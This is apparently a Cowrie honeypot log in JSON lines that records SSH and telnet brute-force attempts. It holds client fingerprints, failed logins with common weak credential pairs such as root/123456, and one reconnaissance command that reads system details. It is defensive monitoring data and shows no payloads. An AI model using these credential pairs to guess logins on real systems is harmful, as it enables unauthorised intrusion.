{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:44.123302Z","src_ip":"91.92.40.153","session":"0e7444bf8870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:47.203562Z","src_ip":"91.92.40.153","session":"0e7444bf8870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:48.930160Z","src_ip":"91.92.40.153","session":"0e7444bf8870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":37534,"dst_ip":"10.17.0.5","dst_port":22,"session":"435ede387991","protocol":"ssh","message":"New connection: 91.92.40.153:37534 (10.17.0.5:22) [session: 435ede387991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:49.126019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:49.724528Z","src_ip":"91.92.40.153","session":"435ede387991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:49.727711Z","src_ip":"91.92.40.153","session":"435ede387991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58340,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9da6f40be1b","protocol":"telnet","message":"New connection: 170.64.224.25:58340 (159.203.135.109:23) [session: e9da6f40be1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:50.414903Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41236,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a1713649cc","protocol":"ssh","message":"New connection: 160.187.174.22:41236 (159.203.135.109:22) [session: 16a1713649cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:51.965890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:52.062668Z","src_ip":"160.187.174.22","session":"16a1713649cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:52.213704Z","src_ip":"160.187.174.22","session":"16a1713649cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.132.164.82","src_port":48851,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5e31b115c91","protocol":"ssh","message":"New connection: 115.132.164.82:48851 (10.17.0.5:22) [session: a5e31b115c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:52.598709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:52.603240Z","src_ip":"115.132.164.82","session":"a5e31b115c91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:52.852535Z","src_ip":"115.132.164.82","session":"a5e31b115c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.343377351760864,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:52.887096Z","src_ip":"170.64.224.25","session":"95099941e537","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:53.202028Z","src_ip":"160.187.174.22","session":"16a1713649cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:53.305157Z","src_ip":"91.92.40.153","session":"435ede387991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gamezone","password":"gamezone","message":"login attempt [gamezone/gamezone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:53.889633Z","src_ip":"115.132.164.82","session":"a5e31b115c91","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:54.507622Z","src_ip":"139.99.74.35","session":"a6a771ecb734","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a && echo \"====\" && cat /etc/os-release","message":"CMD: uname -a && echo \"====\" && cat /etc/os-release","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:54.510716Z","src_ip":"139.99.74.35","session":"a6a771ecb734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:54.517133Z","src_ip":"160.187.174.22","session":"16a1713649cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45286,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2fb162f6100","protocol":"ssh","message":"New connection: 91.92.40.153:45286 (10.17.0.5:22) [session: a2fb162f6100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:54.907023Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:55.068755Z","src_ip":"91.92.40.153","session":"435ede387991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:55.141438Z","src_ip":"115.132.164.82","session":"a5e31b115c91","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:55.544204Z","src_ip":"91.92.40.153","session":"a2fb162f6100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:55.547363Z","src_ip":"91.92.40.153","session":"a2fb162f6100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"1qaz2wsx","message":"login attempt [system/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:59.374009Z","src_ip":"91.92.40.153","session":"a2fb162f6100","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75","size":86,"shasum":"e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75","duplicate":true,"duration":"6.2","message":"Closing TTY Log: var/lib/cowrie/tty/e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75 after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:00.673767Z","src_ip":"139.99.74.35","session":"a6a771ecb734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"48.4","message":"Connection lost after 48.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:00.681156Z","src_ip":"139.99.74.35","session":"a6a771ecb734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":39924,"dst_ip":"159.203.135.109","dst_port":22,"session":"73bc9ccefbff","protocol":"ssh","message":"New connection: 139.99.74.35:39924 (159.203.135.109:22) [session: 73bc9ccefbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:00.924902Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:01.019444Z","src_ip":"91.92.40.153","session":"a2fb162f6100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45362,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ba8230157a0","protocol":"ssh","message":"New connection: 91.92.40.153:45362 (10.17.0.5:22) [session: 2ba8230157a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:01.643315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:01.931497Z","src_ip":"91.92.40.153","session":"2ba8230157a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:01.933838Z","src_ip":"91.92.40.153","session":"2ba8230157a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:03.522920Z","src_ip":"91.92.40.153","session":"2ba8230157a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:04.642341Z","src_ip":"91.92.40.153","session":"2ba8230157a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:05.717368Z","src_ip":"139.99.74.35","session":"73bc9ccefbff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46834,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fb493adaedb","protocol":"ssh","message":"New connection: 139.99.74.35:46834 (159.203.135.109:22) [session: 2fb493adaedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:05.960371Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49394,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6bc0e0e9598","protocol":"ssh","message":"New connection: 91.92.40.153:49394 (10.17.0.5:22) [session: e6bc0e0e9598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:08.143238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:08.220401Z","src_ip":"91.92.40.153","session":"e6bc0e0e9598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:08.591527Z","src_ip":"91.92.40.153","session":"e6bc0e0e9598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:09.558906Z","src_ip":"91.92.40.153","session":"e6bc0e0e9598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:10.961670Z","src_ip":"91.92.40.153","session":"e6bc0e0e9598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:11.031883Z","src_ip":"139.99.74.35","session":"2fb493adaedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46862,"dst_ip":"159.203.135.109","dst_port":22,"session":"618efe7701dc","protocol":"ssh","message":"New connection: 139.99.74.35:46862 (159.203.135.109:22) [session: 618efe7701dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:11.258004Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47530,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fa8eefe89df","protocol":"ssh","message":"New connection: 91.92.40.153:47530 (10.17.0.5:22) [session: 7fa8eefe89df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:13.738582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:14.105877Z","src_ip":"91.92.40.153","session":"7fa8eefe89df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-